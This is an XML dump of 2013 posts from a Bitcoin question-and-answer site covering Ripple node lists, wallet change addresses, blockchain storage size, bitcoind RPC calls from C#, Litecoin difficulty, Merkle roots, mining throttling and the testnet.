  <row Id="8898" PostTypeId="1" AcceptedAnswerId="8944" CreationDate="2013-03-31T20:20:09.780" Score="2" ViewCount="228" Body="&lt;p&gt;My understanding is that in order to limit / remove the risk of collusion in the Ripple system the consensus mechanism relies on local Unique Node Lists (UNLs) specific to each node in the network (but potentially provided to the node by a gateway or other third party).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether these UNLs can be assigned discretionary weights by the user (e.g. if the list comprises A,B,C nodes, can they be weighted 4/6, 1/6, 1/6 respectively)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, would it be possible to include a node several times on the list to achieve such weighting, or do they have to be 'unique' as 'Unique NL' seems to suggest..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Weighting might be interesting if a large amount of trust is ascribed to one or more particular nodes..)&lt;/p&gt;&#xA;" OwnerUserId="3752" LastActivityDate="2013-04-04T14:52:48.627" Title="Can Ripple Unique Node Lists (of validators) be weighted?" Tags="|ripple|doublespend|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8899" PostTypeId="2" ParentId="8897" CreationDate="2013-03-31T21:26:21.163" Score="2" Body="&lt;p&gt;The cumulative filesize of the bitcoind/bitcoin-qt directory has been a source of confusion since the introduction of v0.8 because it &lt;a href=&quot;http://en.wikipedia.org/wiki/Hard_link&quot; rel=&quot;nofollow&quot;&gt;hardlinks&lt;/a&gt; multiple files within the directory. Briefly, two files point to the same data on the disk. So if you sum the size of the files, you don't get the total amount of data actually on the disk. In this manner, you can put 10GB of files on a 1GB USB, for example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can I resume a blockchain download?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, absolutely&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is blockchain.info is updated?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is the size of the bitcoin data directory easy to understand&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhat, you need to understand hardlinks. Your OS might double count some files, leading to confusion.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2013-03-31T21:26:21.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8900" PostTypeId="2" ParentId="8883" CreationDate="2013-03-31T21:35:34.477" Score="1" Body="&lt;p&gt;I've cached a &lt;a href=&quot;https://gist.github.com/colindean/5239812&quot; rel=&quot;nofollow&quot;&gt;command line Bitcoin address generator&lt;/a&gt; posted a while ago on BitcoinTalk. Note that I've not tested it more than once, but it should at least give you a place to start.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-31T21:35:34.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8901" PostTypeId="1" AcceptedAnswerId="8902" CreationDate="2013-03-31T22:11:52.357" Score="3" ViewCount="1552" Body="&lt;p&gt;I'm quite new to bitcoins so apologies if i'm being a noob, but I'm very confused!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bitcoin-qt wallet balance says I have 2.0113406 BTC (which is what I expect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you check my transaction history:&#xA;&lt;a href=&quot;http://blockchain.info/address/1HvxJibwAAyVqcNY5GVUWvHSwgYybpRGTp&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/1HvxJibwAAyVqcNY5GVUWvHSwgYybpRGTp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says that I only have 0.0123506 BTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the confusion stems from the transaction I made to satoshidice. It says I sent 2 bitcoins to satoshidice but i only actually sent 0.01. Further inspection yields that I actually sent 0.01 to satoshidice and the remainder to address 1EHYT8dFMcDVnkkE9kEoH5T3PBb3bRZdmP. What is that address? Is that one of my addresses that I don't know about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?&lt;/p&gt;&#xA;" OwnerUserId="3628" LastActivityDate="2017-12-30T00:35:50.590" Title="Bitcoin wallet/address balance confusion" Tags="|transactions|bitcoin-core|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8902" PostTypeId="2" ParentId="8901" CreationDate="2013-03-31T22:40:09.330" Score="4" Body="&lt;p&gt;Your Bitcoin wallet can have more then 1 address. In fact the Satoshi client (Bitcoin-Qt) creates 100 addresses from the start.&lt;br/&gt;&#xA;Both 1HvxJibwAAyVqcNY5GVUWvHSwgYybpRGTp and 1EHYT8dFMcDVnkkE9kEoH5T3PBb3bRZdmP belong to your wallet and thus the total balance you see it correct.&lt;br/&gt;&lt;br/&gt;&#xA;Now to why this did happen.&#xA;Your wallet received 2 BTC. When you sent 0.01 BTC to Satoshidice &quot;input&quot; the previous mentioned 2 BTC where used as &quot;output&quot; and had to be spent in its entirety. Because the output was bigger then the input the Bitcoin client sent the difference to a new address, which also belongs to you.&lt;br/&gt;&lt;br/&gt;&#xA;In our daily life this is known as change money.&lt;br/&gt;&#xA;You can read about this in detail on the official wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Change&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2013-03-31T22:40:09.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8903" PostTypeId="2" ParentId="8191" CreationDate="2013-03-31T22:51:41.443" Score="0" Body="&lt;p&gt;Yes, if there is change then it is sent to a new address. See &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Change&lt;/a&gt; &lt;br/&gt;&lt;br/&gt;&#xA;Of course if the sum of all output transactions used for the one input address (the receiver) is exactly the correct amount then no change is needed thus nothing is sent to a new address.&lt;br/&gt;&lt;br/&gt;&#xA;This will not change in future versions of the client because it is part of the Bitcoin design.&lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2013-03-31T22:51:41.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8904" PostTypeId="2" ParentId="8847" CreationDate="2013-03-31T23:05:59.947" Score="0" Body="&lt;p&gt;You could use &lt;a href=&quot;https://btct.co/&quot; rel=&quot;nofollow&quot;&gt;https://btct.co/&lt;/a&gt; which is a virtual stock exchange similar to GLBSE.&lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2013-03-31T23:05:59.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8905" PostTypeId="2" ParentId="8859" CreationDate="2013-04-01T00:21:33.817" Score="0" Body="&lt;p&gt;If you have an US bank account maybe &lt;a href=&quot;http://blog.coinbase.com/post/34357253898/you-can-now-buy-and-sell-bitcoin-by-connecting-any-u-s&quot; rel=&quot;nofollow&quot; title=&quot;Coinbase&quot;&gt;Coinbase&lt;/a&gt; is something for you.&lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2013-04-01T00:21:33.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8906" PostTypeId="2" ParentId="8877" CreationDate="2013-04-01T00:56:35.430" Score="1" Body="&lt;p&gt;You don't need to be synced to receive bitcoins but they will not show up in the client until it has synced the block in which the received bitcoins are included.&lt;br/&gt;&lt;br/&gt;&#xA;If you know that the bitcoins you are sending have not been spent yet at a later point in the blockchain then you can send them and they will be accepted. Otherwise the transaction will be invalid because you double spent them.&lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2013-04-01T00:56:35.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8907" PostTypeId="2" ParentId="8875" CreationDate="2013-04-01T04:23:18.707" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So I hope that I'm wrong and that there is in fact a defense built into the protocol.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why do you need a defense against people having what they want? If people prefer such a system to Bitcoin, then they &lt;em&gt;should&lt;/em&gt; leave Bitcoin for this system. People should have what they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;People want it but shouldn't have it for their own good&quot; is not an argument people should accept.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-01T04:23:18.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8908" PostTypeId="1" CreationDate="2013-04-01T07:11:23.220" Score="2" ViewCount="1166" Body="&lt;p&gt;As per &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot; rel=&quot;nofollow&quot;&gt;this code sample&lt;/a&gt;, I'm attempting to make a .net httpwebrequest from my local machine to a local bitcoind -daemon server. However, I'm only receiving a 400 bad request at &lt;code&gt;webRequest.GetResponse()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am completely stumped as to how to proceed - is there anything obviously wrong with this code? I have the bitcoin.conf file set up with the below username and pass, and it is set to port 8332. These are the ONLY settings I've set in the bitcoin.conf. I'm a noobie in both web requests and the Bitcoin api, so I suspect it's something stupidly obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a little more information, when I manually navigate to localhost:8332 &lt;strong&gt;in the browser&lt;/strong&gt;, the credentials I use in my program work, and the web page returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;result&quot;:null,&quot;error&quot;:{&quot;code&quot;:-32700,&quot;message&quot;:&quot;Parse error&quot;},&quot;id&quot;:null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code that makes the request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HttpWebRequest webRequest = (HttpWebRequest)WebRequest.Create(&quot;http://127.0.0.1:8332&quot;);&#xA;webRequest.Credentials = new NetworkCredential(&quot;blah&quot;, &quot;blahblah&quot;);&#xA;/// important, otherwise the service can't desirialse your request properly&#xA;webRequest.ContentType = &quot;application/json-rpc&quot;;&#xA;webRequest.Method = &quot;POST&quot;;&#xA;&#xA;JObject joe = new JObject();&#xA;joe.Add(new JProperty(&quot;jsonrpc&quot;, &quot;1.0&quot;));&#xA;&#xA;// serialize json for the request&#xA;string s = JsonConvert.SerializeObject(joe);&#xA;byte[] byteArray = Encoding.UTF8.GetBytes(s);&#xA;webRequest.ContentLength = byteArray.Length;&#xA;Stream dataStream = webRequest.GetRequestStream();&#xA;dataStream.Write(byteArray, 0, byteArray.Length);&#xA;dataStream.Close();&#xA;&#xA;WebResponse webResponse = webRequest.GetResponse();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3762" LastEditorUserId="2306" LastEditDate="2013-04-01T08:50:39.337" LastActivityDate="2013-04-01T08:50:39.337" Title="bitcoind 400 bad request - what's wrong with this code?" Tags="|bitcoind|api|c#|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8909" PostTypeId="1" AcceptedAnswerId="9338" CreationDate="2013-04-01T10:02:23.637" Score="4" ViewCount="9433" Body="&lt;p&gt;How can I know &lt;code&gt;difficulty&lt;/code&gt; value and &lt;code&gt;reward&lt;/code&gt; for Litecoin network ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for website such as &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/q/bcperblock&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/bcperblock&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/q/getdifficulty&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/getdifficulty&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;to get difficulty and reward for Litecoin network (instead of Bitcoin network)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to get difficulty and reward using an API that can be queried every 15 minutes to make my own mining profit calculator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current difficulty is around 100 and current reward is 25 LTC.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="5406" LastEditDate="2016-04-17T18:56:41.797" LastActivityDate="2016-04-17T18:56:41.797" Title="Litecoin difficulty and reward" Tags="|litecoin|alternatives|difficulty|mining-reward|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8911" PostTypeId="1" AcceptedAnswerId="8914" CreationDate="2013-04-01T11:09:18.157" Score="3" ViewCount="383" Body="&lt;p&gt;I've just read the following question &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1778/does-block-size-effect-miners-hashing-speed&quot;&gt;Does block size effect Miner&amp;#39;s Hashing speed?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it appears that the answer is no - since miners only need to hash the Merkle root.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, updating the Merkle root will take a lot of CPU power if/when bitcoin transactions reach a rate of 4000 tps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the incentive for miners/pools to expend effort maintaining the merkle root at this rate?  Obviously if they do not expend this effort the result will be an ever growing backlog of unverified transactions.&lt;/p&gt;&#xA;" OwnerUserId="3766" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2018-06-18T21:26:38.283" Title="Where is the incentive to update the Merkle root" Tags="|mining-pools|merkle-tree|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8913" PostTypeId="1" CreationDate="2013-04-01T11:21:28.540" Score="1" ViewCount="134" Body="&lt;p&gt;As I understand it, without implementing disk-space-reclamation as laid out in Satoshi's paper the system will not scale because the blockchain contains a history of every transaction.  Bitcoin has been going a few years at below 1 tps and the blockchain is already over 6GB.  At 4000 tps it will be unmanageable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, as I understand it, you can only remove a transaction from the blockchain if both its outputs have been fed into new transactions, and they are buried deep enough in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to split a single bitcoin into 100,000,000 smaller bitcoins and save them for eternity in my &quot;piggy bank&quot; wallets, would that force all miners to save at least that much data for eternity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, what about the case where a large number of people - without any malice - choose not to spend small amounts of money for a long time.  Would this not also break disk space reclamation?  Has this been modelled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3766" LastActivityDate="2013-04-01T11:21:28.540" Title="Can an attacker make it impossible to reclaim disk space" Tags="|transactions|storage-footprint|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8914" PostTypeId="2" ParentId="8911" CreationDate="2013-04-01T11:43:47.600" Score="6" Body="&lt;p&gt;The merkle root ensures that transactions were part of the block that is being found. It links the block header to the set of transactions in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you don't update the merkle root you are not actually confirming the transactions, and you won't be able to collect the fee of the transactions. So the incentive to update the merkle root is the same as for including transactions into a block: you get transaction fees for doing so.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-04-01T11:43:47.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8917" PostTypeId="1" CreationDate="2013-04-01T13:09:39.633" Score="3" ViewCount="71" Body="&lt;p&gt;There are Bitcoin-like network that performs calculations that are not locally useful, but interesting for peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are {SETI,folding,...}@home networks that calculates something that is (probabilistically) useful locally, but not such interesting for peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can there be a network that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Allows starting useful distributed calculations and&lt;/li&gt;&#xA;&lt;li&gt;Have notions of proof of works, signatures, checking and other building blocks that can be used to run BitCoin-like currency?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ideally, if somebody finds an efficient way to solve some useful task (compare: start using GPU while everybody else using only CPU), he not just start having larger share in a zero-sum game, but also automatically help that calculational task.&lt;/p&gt;&#xA;" OwnerUserId="1721" LastEditorUserId="5406" LastEditDate="2021-03-06T19:33:44.677" LastActivityDate="2021-03-06T19:33:44.677" Title="Can there be Bitcoin-like network that also works as whatever@home?" Tags="|proof-of-work|cryptography|" AnswerCount="0" CommentCount="0" ClosedDate="2013-07-22T12:08:32.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="8918" PostTypeId="1" AcceptedAnswerId="8922" CreationDate="2013-04-01T13:14:06.733" Score="12" ViewCount="9528" Body="&lt;p&gt;I don't quite understand the relation between a &lt;code&gt;transaction&lt;/code&gt; and a &lt;code&gt;block&lt;/code&gt;.&#xA;I imagine it as a list of blocks, and each block having a list of transactions but I have some doubts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do a transaction...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It should go to a specific &lt;code&gt;block&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;An unconfirmed &lt;code&gt;transaction&lt;/code&gt; is a transaction which is not inside a &lt;code&gt;block&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Can the miner add the new &lt;code&gt;transaction&lt;/code&gt; to an older &lt;code&gt;block&lt;/code&gt;? Once a block is solved, new transactions can be added?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3166" LastActivityDate="2014-07-22T12:51:10.927" Title="Which is the relation between transactions and blocks?" Tags="|transactions|block|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8920" PostTypeId="2" ParentId="8918" CreationDate="2013-04-01T13:42:21.117" Score="3" Body="&lt;p&gt;Yes, a block is made up of a number of transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no requirement that any transaction go to any particular block, but if it is a valid transaction and has sufficient priority, it will be included into one of the next few blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes an unconfirmed transaction is one that hasn't yet been included into a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, older blocks are immutable. Roughly, think of the blockchain as an append-only ledger of bitcoin transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info, see &lt;a href=&quot;http://spectrum.ieee.org/img/06Bitcoin-1338412974774.jpg&quot; rel=&quot;nofollow&quot;&gt;http://spectrum.ieee.org/img/06Bitcoin-1338412974774.jpg&lt;/a&gt; , &lt;a href=&quot;https://en.bitcoin.it/wiki/How_bitcoin_works&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_bitcoin_works&lt;/a&gt; , and &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2013-04-01T13:42:21.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8921" PostTypeId="2" ParentId="8918" CreationDate="2013-04-01T13:43:39.267" Score="2" Body="&lt;p&gt;You're quite right. The block chain is a list of blocks, and each block contains a list of transactions. Together they form an authorative and global ordering on all transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An unconfirmed transaction is indeed a transaction that is not yet in a block. Miners build new blocks to extend the chain, and use unconfirmed transactions to fill them. Once a block is made, it is immutable, so older blocks are never modified, only new ones are appended.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-04-01T13:43:39.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8922" PostTypeId="2" ParentId="8918" CreationDate="2013-04-01T13:44:40.797" Score="16" Body="&lt;p&gt;The initial statement is correct. The blockchain is the list of all solved blocks, essentially the ledger of all transactions completed in the Bitcoin network. Each block contains (among a few other things) a list of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do a transaction, it is not destined for a specific block. You merely publish your transaction to the network and it goes onto the list of unconfirmed transactions. (There is actually no one authoritative list, however, everyone on the network keeps their own list and distributes it to others to whom they are connected.) Miners (who solve the hashing puzzles required to &quot;solve&quot; a block and make it official) will typically include all unconfirmed transactions in the blocks they create. But they may not. They may just not have received your transaction in their part of the network yet. Or, if your transaction didn't have a fee included, they may only be willing to process transactions with fees. Technically, they are under no obligation about which transactions to include in the block. But since miners get fees from many transactions, and miners benefit from the strength of the Bitcoin network, transactions are typically quickly included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your second bullet, yes, an unconfirmed transaction is one that has not yet been included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to answer your final bullet, no, new transactions cannot be added to older blocks. The &quot;solution&quot; to a block is a mathematically hard puzzle to solve, and it is based on the transactions that are included. So, if you added a transaction to an older block it wouldn't be the same block any more. And the &quot;solution&quot; wouldn't work either, so it would essentially have to be re-mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to further complicate adding a transaction to an older block, each block also includes a piece of information from the previous block in the block chain. Meaning that if you added a transaction to an older block (or modified it in any way), you would not only have to re-solve the old block, but you would have to re-solve all blocks between that block and the current block. And since no one would recognize your re-solved blocks unless you were able to create an even longer blockchain than what currently exists, it isn't realistic to be able to do so. You would have an extremely large amount of processing to and you would have to solve it considerably faster than the rest of the world was working on the old block chain. (The exception is if you have more mining computing power than everyone else in the world combined. This is sometimes called the 51% problem.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all by design. The point of the block chain is that the history of transactions is unalterable and mutually agreed upon as the truth. If it were possible to add transactions into the past, you could change that history. And, for example, spend the same bitcoins twice. But because of this chaining of bitcoins that isn't possible. (It is also why most people don't consider a transaction final until it has &quot;6 confirmations&quot;. What &quot;6 confirmations&quot; really means is that the block that it is included in is 6 deep in the block chain. At that point the block chain is deep that it is considered completely unalterable.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2013-04-01T19:18:09.073" LastActivityDate="2013-04-01T19:18:09.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8923" PostTypeId="1" CreationDate="2013-04-01T13:59:12.943" Score="29" ViewCount="33254" Body="&lt;p&gt;Okay, my hard drive is a bit cramped, and the Blockchain for my Bitcoin client is completely sucking up my free space. I want to know how much room I need to be prepared to lose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a duplicate of the other questions - those had answers that were highly impractical - I'm not sure if they dealt more with the &lt;em&gt;theory&lt;/em&gt; of the blockchain or what, but the filesizes were way off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, right now, &lt;a href=&quot;http://blockchain.info/charts/blocks-size&quot;&gt;http://blockchain.info/charts/blocks-size&lt;/a&gt; says that the current blockchain size is 6073 MB, which is complete BS - the cumulative size of &lt;code&gt;~/.bitcoin/blocks/*.dat&lt;/code&gt; is 6970 MB, and it's not even done yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I want is a realistic, down-to-earth estimate of how much hard disk space the blockchain is going to cost me. Not the theory, not the &quot;data minus overhead&quot;, the &lt;em&gt;actual&lt;/em&gt; cost of the .dat files.&lt;/p&gt;&#xA;" OwnerUserId="3763" LastActivityDate="2017-07-12T21:22:44.717" Title="Where do I find the *actual* blockchain size?" Tags="|blockchain|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8924" PostTypeId="1" AcceptedAnswerId="9339" CreationDate="2013-04-01T14:57:16.443" Score="1" ViewCount="444" Body="&lt;p&gt;I need my rig to run slower (silent during the day) and full speed at night.  i've figured out a way to replace the config file every x hours but I can't see what settings will actually slow it down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when it runs full speed the fans are extremely loud @ 80-95degrees. if i can get it to run about 70degress just more than 1/2 speed that would be perfect. I have two ATI cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to throttle phoenix 2.0?&lt;/p&gt;&#xA;" OwnerUserId="3656" LastEditorUserId="2306" LastEditDate="2013-04-01T18:24:03.560" LastActivityDate="2014-11-30T18:37:29.463" Title="How do I throttle mining in Phoenix 2.0 to keep my cards cooler?" Tags="|windows|phoenix|throttling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8925" PostTypeId="1" CreationDate="2013-04-01T15:25:04.380" Score="-1" ViewCount="505" Body="&lt;p&gt;I have a few questions about bitcoin and trying to wrap my head around it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If people can generate bitcoins out of thin air on their computer how does it not mess with the value of the bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I have bitcoin-qt on my computer a mac, If i ever had to reinstall my os how do i keep my wallet? is the address to my wallet generated based on my hardware or is it automatically generated to where if i reinstalled my os it would create a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) I read that bitcoin mining is pure luck. My question is what is the software mineing from and where is it collecting its data from? My bitcoin-qt software has been synchronizing with a network for a while now and i'm not sure what it is downloading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="3773" LastActivityDate="2013-04-01T16:27:34.570" Title="bitcoin beginner, i have a few questions" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-24T15:53:16.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="8927" PostTypeId="2" ParentId="8925" CreationDate="2013-04-01T16:27:34.570" Score="1" Body="&lt;p&gt;1) There are approximately (25BTC/10min * 60min/hour * 24hours) = 3600 BTC produced per day. Compare that to the roughly 10 million bitcoins in circulation. The market price will not move significantly if all value generated by a day's mining was traded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Your wallet information, including the addresses associated with your private key are all stored in a little file called wallet.dat. It's typically a few KBytes (~100KB) in size, so it's easy to transfer to another computer, or carry over to a fresh OS install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Your bitcoin client is downloading all the bitcoin transaction information from the beginning of bitcoin's existence. Currently this is a fair amount of data (~7GB with indexes). Miners only use the recent transactions to form a new 'block', however they need the last known agreed-upon block to generate the next block, so technically require the entire history, or a secure representation, of the &lt;em&gt;blockchain&lt;/em&gt; (the &lt;em&gt;chain&lt;/em&gt;' of &lt;em&gt;blocks&lt;/em&gt; generated by miners) . Mining a block is indeed a non-deterministic thing - it is somewhat like gambling with one's computing power. If you're mining by yourself, your chance of 'winning' is essentially this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;P(winning) = (your computing power) / (network's computing power)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, there are ways of mitigating the variance of mining called mining pools.&lt;/p&gt;&#xA;" OwnerUserId="682" LastActivityDate="2013-04-01T16:27:34.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8930" PostTypeId="1" AcceptedAnswerId="8931" CreationDate="2013-04-01T17:38:35.590" Score="6" ViewCount="819" Body="&lt;p&gt;I would like to design an application that involves integrating with the bitcoin mining process. My problem is that I don't have an environment that legitimately mines bitcoins because of hardware expenses. This makes it difficult for me to set up a solution around the bitcoin mining when I can't directly test my software with a newly mined block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set up an alternate bitcoin network just on my LAN at home that would simulate the first beginnings of the actual bitcoin network (where mining a block is much easier)? Or is there a better to learn the exact specifics of what happens on a computer that successfully mines a block?&lt;/p&gt;&#xA;" OwnerUserId="1625" LastEditorUserId="18196" LastEditDate="2016-03-18T19:52:36.153" LastActivityDate="2016-03-18T19:52:36.153" Title="How to simulate early bitcoin mining?" Tags="|development|mining-software|website-integration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8931" PostTypeId="2" ParentId="8930" CreationDate="2013-04-01T17:50:45.670" Score="8" Body="&lt;p&gt;Check this: &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot;&gt;https://en.bitcoin.it/wiki/Testnet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The testnet is an alternative Bitcoin block chain, to be used for testing. This allows application developers or bitcoin testers to experiment, without having to use real bitcoins or worrying about breaking the main bitcoin chain.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3781" LastActivityDate="2013-04-01T17:50:45.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
